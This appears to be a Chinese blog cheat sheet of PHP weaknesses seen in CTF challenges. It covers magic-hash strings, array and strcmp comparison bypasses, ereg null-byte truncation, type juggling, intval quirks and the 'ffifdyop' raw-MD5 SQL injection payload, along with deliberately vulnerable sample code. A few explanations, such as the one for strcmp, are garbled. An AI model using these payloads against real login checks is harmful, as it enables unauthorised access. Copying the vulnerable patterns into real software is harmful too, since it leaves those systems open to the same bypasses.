PHP漏洞总结
2018-11-01 本文已影响26人
Eumenides_62ac
总结
CTF中遇到的一些PHP漏洞的总结。
MD5 Compare漏洞
1.md5(str)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
2.sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')
md5()和sha1()都无法处理数组,返回NULL。
例题:
if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
payload : ?a[]=1&b[]=1
双MD5
的:
md5("V5VDSHva7fjyJoJ33IQl") => 0e18bb6e1d5c2e19b63898aeed6b37ea
md5("0e18bb6e1************") => 0e0a710a092113dd5ec9dd47d4d7b86f
CbDLytmyGm2xQyaLNhWn
md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af
770hQgrBOjrcqftrlaZk
md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625
md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064
7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f
ereg函数漏洞:00截断
利用ereg()
存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE ;
这里可以通过%00
来绕过。
可以参考:https://blog.csdn.net/qq_33020901/article/details/60593789
Strcmp()漏洞
int strcmp ( string $str1 , string $str2)
这里的函数返回值:当str1 < str2 时返回 < 0;
当str1 > str2 时返回 > 0;
当str1 = str2 时返回 0;
当我们传入字符串类型的数据的时候,则会返回 0;
所以我们可以通过传入一个 数组 或者一个 object 来绕过
?str1[]=
is_numeric函数
is_numeric()函数来判断变量是否为数字,是数字返回1,不是则返回0。比较范围不局限于十进制数字。
<?php
echo is_numeric(233333); # 1
echo is_numeric('233333'); # 1
echo is_numeric(0x233333); # 1
echo is_numeric('0x233333'); # 1
echo is_numeric('233333abc'); # 0
?>
PHP弱类型的特性
<?php
var_dump("admin"==0); // true
var_dump("1admin"==1); // true
var_dump("admin1"==1); // false
var_dump("admin1"==0); // true
var_dump("0e123456"=="0e654321"); // true
var_dump([]>任何数字); // true
?>
恐龙特性:"."被替换成"_"
PHP参数中的"."会被替换成"_"
var_dump("user.id"); // user_id
md5()引发的注入
<?php
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}
?>
MD5之后是hex格式,转化到字符串时如果出现'or'xxxx
的形式,就会导致注入。
payload:ffifdyop
md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c
转换成字符串后为
'or'6�]��!r,��b�
inval()引发的绕过
<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>